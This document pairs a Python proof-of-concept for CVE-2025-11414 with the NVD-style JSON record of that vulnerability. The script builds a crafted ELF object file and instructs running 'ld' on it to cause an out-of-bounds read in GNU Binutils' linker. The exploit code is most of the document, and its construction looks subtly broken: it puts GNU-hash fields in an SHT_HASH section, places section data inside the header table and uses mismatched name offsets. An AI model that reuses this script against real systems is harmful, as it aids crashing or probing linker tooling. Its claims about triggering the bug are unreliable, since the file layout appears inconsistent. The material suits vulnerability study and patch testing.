CVE-2025-11414

# CVE-2025-11414 PoC - GNU Binutils elflink.c Out-of-Bounds Read # This PoC demonstrates triggering the vulnerability in get_link_hash_entry() # by crafting a malicious ELF object file with corrupted hash table entries. import struct import os def create_malicious_elf(): """ Create a minimal ELF object file with corrupted .hash section to trigger out-of-bounds read in get_link_hash_entry(). """ # ELF header (64-bit, little-endian) elf_header = bytearray() elf_header += b'\x7fELF' # e_ident[EI_MAG] elf_header += b'\x02' # e_ident[EI_CLASS] = ELFCLASS64 elf_header += b'\x01' # e_ident[EI_DATA] = ELFDATA2LSB elf_header += b'\x01' # e_ident[EI_VERSION] = EV_CURRENT elf_header += b'\x00' # e_ident[EI_OSABI] elf_header += b'\x00' * 8 # e_ident padding elf_header += struct.pack('<H', 1) # e_type = ET_REL (relocatable) elf_header += struct.pack('<H', 62) # e_machine = EM_X86_64 elf_header += struct.pack('<I', 1) # e_version = EV_CURRENT elf_header += struct.pack('<Q', 0) # e_entry elf_header += struct.pack('<Q', 0) # e_phoff elf_header += struct.pack('<Q', 64) # e_shoff (section header offset) elf_header += struct.pack('<I', 0) # e_flags elf_header += struct.pack('<H', 64) # e_ehsize elf_header += struct.pack('<H', 0) # e_phentsize elf_header += struct.pack('<H', 0) # e_phnum elf_header += struct.pack('<H', 64) # e_shentsize elf_header += struct.pack('<H', 4) # e_shnum (null + .hash + .symtab + .strtab) elf_header += struct.pack('<H', 3) # e_shstrndx # Section headers # SHT_NULL sh_null = struct.pack('<I', 0) * 16 # .hash section header sh_hash = struct.pack('<I', 5) # sh_name (offset in string table) sh_hash += struct.pack('<I', 5) # sh_type = SHT_HASH sh_hash += struct.pack('<Q', 0) # sh_flags sh_hash += struct.pack('<Q', 0) # sh_addr sh_hash += struct.pack('<Q', 128) # sh_offset (after section headers) sh_hash += struct.pack('<Q', 32) # sh_size (small buffer) sh_hash += struct.pack('<I', 0) # sh_link sh_hash += struct.pack('<I', 0) # sh_info sh_hash += struct.pack('<Q', 8) # sh_addralign sh_hash += struct.pack('<Q', 0) # sh_entsize # .symtab section header sh_symtab = struct.pack('<I', 11) # sh_name sh_symtab += struct.pack('<I', 2) # sh_type = SHT_SYMTAB sh_symtab += struct.pack('<Q', 0) # sh_flags sh_symtab += struct.pack('<Q', 0) # sh_addr sh_symtab += struct.pack('<Q', 160) # sh_offset sh_symtab += struct.pack('<Q', 48) # sh_size sh_symtab += struct.pack('<I', 3) # sh_link (to .strtab) sh_symtab += struct.pack('<I', 1) # sh_info sh_symtab += struct.pack('<Q', 8) # sh_addralign sh_symtab += struct.pack('<Q', 24) # sh_entsize # .strtab section header sh_strtab = struct.pack('<I', 19) # sh_name sh_strtab += struct.pack('<I', 3) # sh_type = SHT_STRTAB sh_strtab += struct.pack('<Q', 0) # sh_flags sh_strtab += struct.pack('<Q', 0) # sh_addr sh_strtab += struct.pack('<Q', 208) # sh_offset sh_strtab += struct.pack('<Q', 32) # sh_size sh_strtab += struct.pack('<I', 0) # sh_link sh_strtab += struct.pack('<I', 0) # sh_info sh_strtab += struct.pack('<Q', 1) # sh_addralign sh_strtab += struct.pack('<Q', 0) # sh_entsize # .hash data - crafted to trigger OOB read hash_data = struct.pack('<I', 2) # nbucket hash_data += struct.pack('<I', 0xFFFFFFFF) # symndx (corrupted - causes OOB) hash_data += struct.pack('<I', 2) # maskwords hash_data += struct.pack('<I', 0) # shift2 hash_data += struct.pack('<Q', 0xFFFFFFFFFFFFFFFF) # bucket[0] (corrupted) hash_data += struct.pack('<Q', 0xFFFFFFFFFFFFFFFF) # bucket[1] (corrupted) hash_data += struct.pack('<Q', 0xDEADBEEF) # chain[0] (corrupted) hash_data += struct.pack('<Q', 0xCAFEBABE) # chain[1] (corrupted) # .symtab data symtab_data = struct.pack('<I', 0) # st_name symtab_data += b'\x00' * 4 # st_info + st_other symtab_data += struct.pack('<H', 0) # st_shndx symtab_data += struct.pack('<Q', 0) # st_value symtab_data += struct.pack('<Q', 0) # st_size symtab_data = symtab_data.ljust(48, b'\x00') # .strtab data strtab_data = b'\x00.hash\x00.symtab\x00.strtab\x00' strtab_data = strtab_data.ljust(32, b'\x00') # Assemble the ELF file elf = elf_header + sh_null + sh_hash + sh_symtab + sh_strtab elf += hash_data + symtab_data + strtab_data return bytes(elf) def main(): elf_data = create_malicious_elf() output_file = 'malicious.o' with open(output_file, 'wb') as f: f.write(elf_data) print(f"[*] Malicious ELF object file created: {output_file}") print(f"[*] File size: {len(elf_data)} bytes") print(f"[*] To trigger the vulnerability, run:") print(f" ld {output_file}") print(f"[*] Or with a linker script:") print(f" ld -T script.ld {output_file}") print() print("[!] WARNING: This will trigger an out-of-bounds read in") print("[!] get_link_hash_entry() in bfd/elflink.c") if __name__ == '__main__': main()

{"cve": {"id": "CVE-2025-11414", "sourceIdentifier": "[email protected]", "published": "2025-10-07T23:15:33.053", "lastModified": "2026-05-12T13:16:28.863", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in GNU Binutils 2.45. Affected by this vulnerability is the function get_link_hash_entry of the file bfd/elflink.c of the component Linker. This manipulation causes out-of-bounds read. The attack can only be executed locally. The exploit has been publicly disclosed and may be utilized. Upgrading to version 2.46 addresses this issue. Patch name: aeaaa9af6359c8e394ce9cf24911fec4f4d23703. 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